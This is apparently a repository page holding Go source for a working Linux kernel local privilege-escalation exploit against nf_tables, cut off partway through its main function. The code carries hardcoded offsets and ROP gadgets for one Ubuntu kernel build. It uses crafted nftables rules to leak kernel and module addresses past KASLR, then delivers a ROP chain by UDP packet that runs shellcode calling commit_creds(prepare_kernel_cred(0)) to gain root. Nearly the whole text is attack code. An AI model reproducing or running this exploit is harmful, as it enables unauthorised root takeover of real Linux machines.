README.md
Rendering markdown...
package main
import (
"C"
"bytes"
"encoding/binary"
"fmt"
"net"
"time"
"github.com/google/nftables"
"golang.org/x/sys/unix"
)
import (
"math/rand"
"os"
"os/exec"
"path"
"runtime"
"strconv"
"strings"
"syscall"
"unsafe"
"github.com/google/nftables/expr"
"github.com/mdlayher/netlink"
"github.com/vishvananda/netns"
)
/// Offsets for exploits
type exploitConfig struct {
// Offset from meta_set ops to nf_tables.ko base
metaSetOpsOff uint64
// Offset from nf_tables.ko base to byteorder_ops
byteorderOpsOff uint64
// Offset from nf_tables.ko base to payload_ops
payloadOpsOff uint64
// Offset from nf_tables.ko base to immediate_ops
immOpsOff uint64
/// Offset from the regs array on the stack in nft_chain and
/// the return address to ip_local_deliver
ipLocalDeliverRegOff uint64
// ip_local_deliver return from nft_do_chain
ipLocalDeliverReturn uint64
// Offset to '__x64_sys_modify_ldt' function in the kernel
x64_sys_modify_ldt_addr uint64
// Offset to 'do_task_dead' function in the kernel
do_task_dead_addr uint64
// Offset to 'set_memory_rw' function in the kernel
set_memory_rw_addr uint64
// Offset to 'prepare_kernel_cred' function in the kernel
prepare_kernel_cred uint64
// Offset to 'commit_creds' function in the kernel
commit_creds uint64
// Offset to '_copy_from_user' function in the kernel
copy_from_user_priv uint64
// Offset to 'pop rdi; ret' gadget in the kernel
pop_rdi uint64
// Offset to 'pop rsi; ret' gadget in the kernel
pop_rsi uint64
// Offset to 'pop rdx; ret' gadget in the kernel
pop_rdx uint64
}
var currentConfig *exploitConfig
func CToGoString(b []byte) string {
i := bytes.IndexByte(b, 0)
if i < 0 {
i = len(b)
}
return string(b[:i])
}
var cpuCount int = 0
var shellcode []byte = []byte{0x48, 0x31, 0xff, // xor rdi,rdi
0xe8, 0x00, 0x00, 0x00, 0x00, // call prepare_kernel_cred - 0x8
0x48, 0x89, 0xc7, // mov rdi,rax
0xe8, 0x00, 0x00, 0x00, 0x00, // call commit_creds - 0x10
0xc3, // ret
}
func init() {
configs := make(map[string]exploitConfig)
// Ubuntu kinetic kudu
configs["5.19.0-35-generic"] = exploitConfig{
metaSetOpsOff: 0x2fde0,
byteorderOpsOff: 0x2f7a0,
payloadOpsOff: 0x2f9e0,
immOpsOff: 0x2f1e0,
x64_sys_modify_ldt_addr: 0x48900,
do_task_dead_addr: 0x118150,
set_memory_rw_addr: 0xb3680,
prepare_kernel_cred: 0x101ea0,
commit_creds: 0x101bd0,
copy_from_user_priv: 0x6edfe0,
ipLocalDeliverRegOff: 0x278,
ipLocalDeliverReturn: 0xcd9793,
pop_rdi: 0x692b8d, // 0xffffffff81692b8d : pop rdi ; test eax, 0x8948000f ; ret
pop_rsi: 0xa7c3e, // 0xffffffff810a7c3e : pop rsi ; ret
pop_rdx: 0xa78b25, // 0xffffffff81a78b25 : pop rdx ; add al, 0x39 ; ret
}
u := unix.Utsname{}
unix.Uname(&u)
if cfg, ok := configs[CToGoString((u.Release[:]))]; ok {
currentConfig = &cfg
fmt.Printf("[+] Using config: %v\n", CToGoString(u.Release[:]))
} else {
panic(fmt.Errorf("[!] Kernel version '%v' is unsupported", string(u.Release[:])))
}
}
func packet_leak_path() {
// Now send a packet
tx, err := net.DialUDP("udp4", nil, &net.UDPAddr{
IP: net.IPv4(127, 0, 0, 1),
Port: 1337,
})
if err != nil {
panic(err)
}
tx.Write([]byte{1, 2, 3, 4})
tx.Close()
}
func packet_ropchain_path(ropchain []byte) {
tx, err := net.DialUDP("udp4", nil, &net.UDPAddr{
IP: net.IPv4(127, 0, 0, 1),
Port: 1337,
})
if err != nil {
panic(err)
}
tx.Write(ropchain)
tx.Close()
}
func craft_rop_chain(kernelBase uint64) []byte {
payload := new(bytes.Buffer)
p64 := func(val uint64) {
_ = binary.Write(payload, binary.LittleEndian, val)
}
// set_memory_rw(sys_modify_ldt, 2)
p64(kernelBase + currentConfig.pop_rdi)
p64(kernelBase + (currentConfig.x64_sys_modify_ldt_addr & (0xffff_ffff_ffff_f000)))
p64(kernelBase + currentConfig.pop_rsi)
p64(2)
p64(kernelBase + currentConfig.set_memory_rw_addr)
// Patch shellcode
prepare_kernel_cred_shellcode := currentConfig.prepare_kernel_cred - currentConfig.x64_sys_modify_ldt_addr - 0x8
shellcode[4] = uint8(prepare_kernel_cred_shellcode)
shellcode[5] = uint8(prepare_kernel_cred_shellcode >> 8)
shellcode[6] = uint8(prepare_kernel_cred_shellcode >> 16)
shellcode[7] = uint8(prepare_kernel_cred_shellcode >> 24)
commit_creds_shellcode := currentConfig.commit_creds - currentConfig.x64_sys_modify_ldt_addr - 0x10
shellcode[12] = uint8(commit_creds_shellcode)
shellcode[13] = uint8(commit_creds_shellcode >> 8)
shellcode[14] = uint8(commit_creds_shellcode >> 16)
shellcode[15] = uint8(commit_creds_shellcode >> 24)
// copy shellcode to kernel (_copy_from_user)
p64(kernelBase + currentConfig.pop_rdi)
p64(kernelBase + currentConfig.x64_sys_modify_ldt_addr)
p64(kernelBase + currentConfig.pop_rsi)
p64(uint64(uintptr(unsafe.Pointer(&shellcode[0]))))
p64(kernelBase + currentConfig.pop_rdx)
p64(uint64(len(shellcode)))
p64(kernelBase + currentConfig.copy_from_user_priv)
// Make the kernel task hang
p64(kernelBase + uint64(currentConfig.do_task_dead_addr))
return payload.Bytes()
}
func leak_module_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
// Main table for important chains
table := conn.AddTable(&nftables.Table{
Family: nftables.TableFamilyIPv4,
Name: "kaslr",
})
// Set recovering the leaked values from the stack
leakSet := nftables.Set{
Anonymous: false,
Constant: false,
Name: "leak-set",
ID: 1,
IsMap: true,
Table: table,
KeyType: nftables.TypeInteger,
DataType: nftables.TypeInteger,
}
err := conn.AddSet(&leakSet, nil)
if err != nil {
return fmt.Errorf("Could no create set: %v", err)
}
// Chain used for leaking information off the stack
leakChain := conn.AddChain(&nftables.Chain{
Name: "leak-chain",
Table: table,
})
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
&expr.Byteorder{
SourceRegister: 18,
DestRegister: 8,
Op: expr.ByteorderHton,
Len: 24,
Size: 2,
},
// Add to the set the lsb's
&expr.Immediate{
Register: 8,
Data: []byte{0x00, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 14,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 15,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x02, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 16,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x03, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 17,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x04, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 18,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x05, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 19,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
},
})
if err := conn.Flush(); err != nil {
return err
}
// base chain alloc
policy := nftables.ChainPolicyAccept
// Put basechain in kmalloc-192
baseChain := conn.AddChain(&nftables.Chain{
Name: "base-chain",
Table: table,
Type: nftables.ChainTypeFilter,
Hooknum: nftables.ChainHookInput,
Priority: nftables.ChainPriorityFilter,
Policy: &policy,
})
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x01, 0x01, 0x01},
},
&expr.Meta{
Key: unix.NFT_META_NFTRACE,
SourceRegister: true,
Register: 8,
},
},
})
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Verdict{
Kind: expr.VerdictJump,
Chain: "leak-chain",
},
&expr.Verdict{
Kind: expr.VerdictReturn,
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not create base chain: %v", err)
}
packet_leak_path()
// Recover entries from set
elems, err := conn.GetSetElements(&leakSet)
if err != nil {
return fmt.Errorf("Could not get set elems: %v", err)
}
offsets := []uint16{0, 0, 0, 0, 0, 0}
for _, elem := range elems {
key := binary.LittleEndian.Uint32(elem.Key)
val := binary.BigEndian.Uint16(elem.Val)
offsets[key] = val
}
// offsets[0] = jumpstack[0].chain u16 lsb high u32
// offsets[1] = jumpstack[0].chain u16 lsb low u32
// offsets[2] = jumpstack[0].rules u16 lsb high u32
// offsets[3] = jumpstack[0].rules u16 lsb low u32
// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
// offsets[5] = jumpstack[0].rules_last u16 lsb low u32
// Free all rules from the leak chain and prepare it for a write
conn.FlushChain(leakChain)
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not delete leakchain rules: %v", err)
}
// chain low u16
chainLow := make([]byte, 4)
binary.LittleEndian.PutUint16(chainLow, offsets[0])
// chain high u16
chainHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(chainHigh, offsets[1])
// rules low u16
ruleLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLow, offsets[4]-0x22)
// rules high u16
ruleHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleHigh, offsets[3])
// rules_last low u16
ruleLastLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastLow, (offsets[4]-0x22)+0x8)
// rules_last high u16
ruleLastHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])
// Payload to write lsb of rules pointer
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
&expr.Immediate{
Register: 8,
Data: chainLow,
},
&expr.Immediate{
Register: 9,
Data: chainHigh,
},
&expr.Immediate{
Register: 10,
Data: ruleLow,
},
&expr.Immediate{
Register: 11,
Data: ruleHigh,
},
&expr.Immediate{
Register: 12,
Data: ruleLastLow,
},
&expr.Immediate{
Register: 13,
Data: ruleLastHigh,
},
&expr.Byteorder{
SourceRegister: 8,
DestRegister: 16,
Op: expr.ByteorderHton,
Len: 28,
Size: 2,
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not add oob write rule: %v", err)
}
// Register our trace handler to recover the leak
traceconn, err := netlink.Dial(unix.NETLINK_NETFILTER, &netlink.Config{})
if err != nil {
return fmt.Errorf("Could not setup listening socket: %v", err)
}
defer traceconn.Close()
// Add to trace group
err = traceconn.JoinGroup(unix.NFNLGRP_NFTRACE)
if err != nil {
return fmt.Errorf("Could not add socket to trace group: %v", err)
}
// Trigger our leak
packet_leak_path()
for {
messages, err := traceconn.Receive()
if err != nil {
return fmt.Errorf("Could not receive trace messages: %v", err)
}
// Parse the trace messages
for _, m := range messages {
ad, err := netlink.NewAttributeDecoder(m.Data[4:])
if err != nil {
return fmt.Errorf("Could not create attribute decoder: %v", err)
}
ad.ByteOrder = binary.BigEndian
for ad.Next() {
if ad.Type() == unix.NFTA_TRACE_RULE_HANDLE {
addr := ad.Uint64() >> 3
// Check that the 3 lower nibbles are identical (untouched by kASLR)
if (addr & 0xfff) != (currentConfig.immOpsOff & 0xfff) {
continue
}
// Small sanity check that the value > 32 bits
if addr < 0x100000000 {
continue
}
moduleBase := addr - currentConfig.immOpsOff
moduleBase |= 0xffffff8000000000 // Set the top 25 bits to ff, which should be fine
fmt.Printf("LEAK:%x", moduleBase)
return nil
}
}
}
}
return nil
}
func leak_kaslr_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
// Main table for important chains
table := conn.AddTable(&nftables.Table{
Family: nftables.TableFamilyIPv4,
Name: "kaslr",
})
// Set recovering the leaked values from the stack
leakSet := nftables.Set{
Anonymous: false,
Constant: false,
Name: "leak-set",
ID: 1,
IsMap: true,
Table: table,
KeyType: nftables.TypeInteger,
DataType: nftables.TypeInteger,
}
err := conn.AddSet(&leakSet, nil)
if err != nil {
return fmt.Errorf("Could no create set: %v", err)
}
// Set recovering the leaked stack return address
kleakSet := nftables.Set{
Anonymous: false,
Constant: false,
Name: "kaslr-leak-set",
ID: 1,
IsMap: true,
Table: table,
KeyType: nftables.TypeInteger,
DataType: nftables.TypeInteger,
}
err = conn.AddSet(&kleakSet, nil)
if err != nil {
return fmt.Errorf("Could not create kernel leak set: %v", err)
}
// Chain used for leaking information off the stack
leakChain := conn.AddChain(&nftables.Chain{
Name: "leak-chain",
Table: table,
})
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
&expr.Byteorder{
SourceRegister: 18,
DestRegister: 8,
Op: expr.ByteorderHton,
Len: 24,
Size: 2,
},
// Add to the set the lsb's
&expr.Immediate{
Register: 8,
Data: []byte{0x00, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 14,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 15,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x02, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 16,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x03, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 17,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x04, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 18,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x05, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 19,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
},
})
if err := conn.Flush(); err != nil {
return err
}
// base chain alloc
policy := nftables.ChainPolicyAccept
baseChain := conn.AddChain(&nftables.Chain{
Name: "base-chain",
Table: table,
Type: nftables.ChainTypeFilter,
Hooknum: nftables.ChainHookInput,
Priority: nftables.ChainPriorityFilter,
Policy: &policy,
})
// First rule: jump to leakchain to recover next rule ptr lsb
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Verdict{
Kind: expr.VerdictJump,
Chain: "leak-chain",
},
},
})
// Second rule: craft a fake rule within a nft_range rule
w := new(bytes.Buffer)
// Craft nft_rule_dp with (dlen=32, is_last=0, handle=0)
_ = binary.Write(w, binary.LittleEndian, uint64(32<<1))
// Write fake nft_byteorder
// struct nft_byteorder {
// u8 sreg; /* 0 1 */
// u8 dreg; /* 1 1 */
// enum nft_byteorder_ops op:8; /* 0:16 4 */
// u8 len; /* 3 1 */
// u8 size; /* 4 1 */
//
// /* size: 8, cachelines: 1, members: 5 */
// /* padding: 3 */
// /* last cacheline: 8 bytes */
// };
_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.byteorderOpsOff))
// set byteorder::sreg as the offset // 4 of the return address on the stack
_ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4))
// set byteorder::dreg as the register where we want to recover the value (-4 to remove first 4 dwords of regs, aka verdict)
_ = binary.Write(w, binary.LittleEndian, uint8(12))
// set byteorder::op to NFT_BYTEORDER_NTOH (not sure if it matters)
_ = binary.Write(w, binary.LittleEndian, uint8(0))
// set byteorder::len to 8 bytes
_ = binary.Write(w, binary.LittleEndian, uint8(8))
// set byteorder::size to 8 (u64)
_ = binary.Write(w, binary.LittleEndian, uint8(8))
// padding
_ = binary.Write(w, binary.LittleEndian, uint8(0))
_ = binary.Write(w, binary.LittleEndian, uint8(0))
_ = binary.Write(w, binary.LittleEndian, uint8(0))
// Write partial nft_meta, which will overlap with the end of the real nft_range
_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff))
payload := w.Bytes()
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Range{
Op: expr.CmpOpNeq,
Register: 8, // Will overlap with meta->key
FromData: payload[:16],
ToData: payload[16:],
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not create base chain: %v", err)
}
// Third rule, add our register, which will contain the address to the set
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Immediate{
Register: 8,
Data: []byte{0x00, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 16,
SetName: "kaslr-leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 17,
SetName: "kaslr-leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not create base chain: %v", err)
}
packet_leak_path()
// Flush the entries in kaslr leak set
conn.FlushSet(&kleakSet)
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not flush kaslr leak set: %v", err)
}
// Recover entries from set
elems, err := conn.GetSetElements(&leakSet)
if err != nil {
return fmt.Errorf("Could not get set elems: %v", err)
}
offsets := []uint16{0, 0, 0, 0, 0, 0}
for _, elem := range elems {
key := binary.LittleEndian.Uint32(elem.Key)
val := binary.BigEndian.Uint16(elem.Val)
offsets[key] = val
}
// offsets[0] = jumpstack[0].chain u16 lsb high u32
// offsets[1] = jumpstack[0].chain u16 lsb low u32
// offsets[2] = jumpstack[0].rules u16 lsb high u32
// offsets[3] = jumpstack[0].rules u16 lsb low u32
// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
// offsets[5] = jumpstack[0].rules_last u16 lsb low u32
// Free all rules from the leak chain and prepare it for a write
conn.FlushChain(leakChain)
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not delete leakchain rules: %v", err)
}
// fmt.Println("[+] Flushed leak chain")
// for i, e := range offsets {
// fmt.Printf("offset[%v] = 0x%x\n", i, e)
// }
// chain low u16
chainLow := make([]byte, 4)
binary.LittleEndian.PutUint16(chainLow, offsets[0])
// chain high u16
chainHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(chainHigh, offsets[1])
// rules low u16
// Skip real rule_dp header + nft_range_ops
ruleLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLow, offsets[2]+16)
// rules high u16
ruleHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleHigh, offsets[3])
// rules_last low u16
ruleLastLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastLow, offsets[4])
// rules_last high u16
ruleLastHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])
// Payload to write lsb of rules pointer
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
&expr.Immediate{
Register: 8,
Data: chainLow,
},
&expr.Immediate{
Register: 9,
Data: chainHigh,
},
&expr.Immediate{
Register: 10,
Data: ruleLow,
},
&expr.Immediate{
Register: 11,
Data: ruleHigh,
},
&expr.Immediate{
Register: 12,
Data: ruleLastLow,
},
&expr.Immediate{
Register: 13,
Data: ruleLastHigh,
},
&expr.Byteorder{
SourceRegister: 8,
DestRegister: 16,
Op: expr.ByteorderHton,
Len: 28,
Size: 2,
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not add oob write rule: %v", err)
}
// Trigger our leak
packet_leak_path()
// Recover leaked return address from set
elems, err = conn.GetSetElements(&kleakSet)
if err != nil {
return fmt.Errorf("Could not get set elems: %v", err)
}
offsets2 := []uint32{0, 0}
for _, elem := range elems {
key := binary.LittleEndian.Uint32(elem.Key)
val := binary.BigEndian.Uint32(elem.Val)
offsets2[key] = val
}
leakedPtr := uint64(offsets2[0])<<32 | uint64(offsets2[1])
if (leakedPtr & 0xfff) != (currentConfig.ipLocalDeliverReturn & 0xfff) {
return fmt.Errorf("Invalid pointer: %x", leakedPtr)
}
fmt.Printf("LEAK:%x\n", leakedPtr-currentConfig.ipLocalDeliverReturn)
return nil
}
func ropchain_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
// Rop chain for our post exploit
ropchain := craft_rop_chain(kernelBase)
// Main table for important chains
table := conn.AddTable(&nftables.Table{
Family: nftables.TableFamilyIPv4,
Name: "rop",
})
// Set recovering the leaked values from the stack
leakSet := nftables.Set{
Anonymous: false,
Constant: false,
Name: "leak-set",
ID: 1,
IsMap: true,
Table: table,
KeyType: nftables.TypeInteger,
DataType: nftables.TypeInteger,
}
err := conn.AddSet(&leakSet, nil)
if err != nil {
return fmt.Errorf("Could no create set: %v", err)
}
// Chain used for leaking information off the stack
leakChain := conn.AddChain(&nftables.Chain{
Name: "leak-chain",
Table: table,
})
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
&expr.Byteorder{
SourceRegister: 18,
DestRegister: 8,
Op: expr.ByteorderHton,
Len: 24,
Size: 2,
},
// Add to the set the lsb's
&expr.Immediate{
Register: 8,
Data: []byte{0x00, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 14,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 15,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x02, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 16,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x03, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 17,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x04, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 18,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x05, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 19,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
},
})
if err := conn.Flush(); err != nil {
return err
}
// base chain alloc
policy := nftables.ChainPolicyAccept
baseChain := conn.AddChain(&nftables.Chain{
Name: "base-chain",
Table: table,
Type: nftables.ChainTypeFilter,
Hooknum: nftables.ChainHookInput,
Priority: nftables.ChainPriorityFilter,
Policy: &policy,
})
// First rule: jump to leakchain to recover next rule ptr lsb
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Verdict{
Kind: expr.VerdictJump,
Chain: "leak-chain",
},
},
})
// Second rule: craft a fake rule within a nft_range rule
w := new(bytes.Buffer)
// Craft nft_rule_dp with (dlen=32, is_last=0, handle=0)
_ = binary.Write(w, binary.LittleEndian, uint64(32<<1))
// Write fake nft_payload
// struct nft_payload {
// enum nft_payload_bases base:8; /* 0: 0 4 */
// u8 offset; /* 1 1 */
// u8 len; /* 2 1 */
// u8 dreg; /* 3 1 */
// /* size: 4, cachelines: 1, members: 4 */
// /* last cacheline: 4 bytes */
// };
_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.payloadOpsOff))
// set payload::base as NFT_PAYLOAD_TRANSPORT_HEADER
_ = binary.Write(w, binary.LittleEndian, uint8(2))
// set payload::offset to 8 (skip UDP header)
_ = binary.Write(w, binary.LittleEndian, uint8(8))
// set payload::len to the length of our ropchain (aka, bytes to copy)
_ = binary.Write(w, binary.LittleEndian, uint8(len(ropchain)))
// set payload::dreg to point to the return address, beyond the stack canary
_ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4))
// padding
_ = binary.Write(w, binary.LittleEndian, uint8(0))
_ = binary.Write(w, binary.LittleEndian, uint8(0))
_ = binary.Write(w, binary.LittleEndian, uint8(0))
_ = binary.Write(w, binary.LittleEndian, uint8(0))
// Write partial nft_meta, which will overlap with the end of the real nft_range
_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff))
payload := w.Bytes()
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Range{
Op: expr.CmpOpNeq,
Register: 8, // Will overlap with meta->key
FromData: payload[:16],
ToData: payload[16:],
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not create base chain: %v", err)
}
// Third rule, juste some placeholder
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Verdict{
Kind: expr.VerdictReturn,
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not create base chain: %v", err)
}
packet_leak_path()
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not flush kaslr leak set: %v", err)
}
// Recover entries from set
elems, err := conn.GetSetElements(&leakSet)
if err != nil {
return fmt.Errorf("Could not get set elems: %v", err)
}
offsets := []uint16{0, 0, 0, 0, 0, 0}
for _, elem := range elems {
key := binary.LittleEndian.Uint32(elem.Key)
val := binary.BigEndian.Uint16(elem.Val)
offsets[key] = val
}
// offsets[0] = jumpstack[0].chain u16 lsb high u32
// offsets[1] = jumpstack[0].chain u16 lsb low u32
// offsets[2] = jumpstack[0].rules u16 lsb high u32
// offsets[3] = jumpstack[0].rules u16 lsb low u32
// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
// offsets[5] = jumpstack[0].rules_last u16 lsb low u32
// Free all rules from the leak chain and prepare it for a write
conn.FlushChain(leakChain)
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not delete leakchain rules: %v", err)
}
// chain low u16
chainLow := make([]byte, 4)
binary.LittleEndian.PutUint16(chainLow, offsets[0])
// chain high u16
chainHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(chainHigh, offsets[1])
// rules low u16
// Skip real rule_dp header + nft_range_ops
ruleLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLow, offsets[2]+16)
// rules high u16
ruleHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleHigh, offsets[3])
// rules_last low u16
ruleLastLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastLow, offsets[4])
// rules_last high u16
ruleLastHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])
// Payload to write lsb of rules pointer
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
&expr.Immediate{
Register: 8,
Data: chainLow,
},
&expr.Immediate{
Register: 9,
Data: chainHigh,
},
&expr.Immediate{
Register: 10,
Data: ruleLow,
},
&expr.Immediate{
Register: 11,
Data: ruleHigh,
},
&expr.Immediate{
Register: 12,
Data: ruleLastLow,
},
&expr.Immediate{
Register: 13,
Data: ruleLastHigh,
},
&expr.Byteorder{
SourceRegister: 8,
DestRegister: 16,
Op: expr.ByteorderHton,
Len: 28,
Size: 2,
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not add oob write rule: %v", err)
}
// Write our ropchain to the network packet and trigger our nft instructions
packet_ropchain_path(ropchain)
return nil
}
type ExploitStepFn func(*nftables.Conn, uint64, uint64) error
func nftables_wrapper(handle netns.NsHandle, step ExploitStepFn, moduleBase uint64, kernelBase uint64) error {
// Open netlink connection
conn, err := nftables.New(nftables.WithNetNSFd(int(handle)))
_ = conn
if err != nil {
return err
}
conn.FlushRuleset()
defer conn.FlushRuleset()
err = step(conn, moduleBase, kernelBase)
if err != nil {
return err
}
return nil
}
func main() {
// Get cpu count, will be useful for sprays
rand.Seed(time.Now().UnixNano())
var origAffinity unix.CPUSet
origAffinity.Zero()
err := unix.SchedGetaffinity(0, &origAffinity)
if err != nil {
panic(err)
}
cpuCount = origAffinity.Count()
// Lock go routine to specific thread
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Bind to a single cpu to reach same kmalloc slabs
var cpuSet unix.CPUSet
cpuSet.Zero()
cpuSet.Set(0)
err = unix.SchedSetaffinity(0, &cpuSet)
if err != nil {
panic(err)
}
if len(os.Args) >= 3 {
mode := os.Args[1]
if os.Args[1] != "module_leak" && os.Args[1] != "kernel_leak" && os.Args[1] != "kernel_rop" {
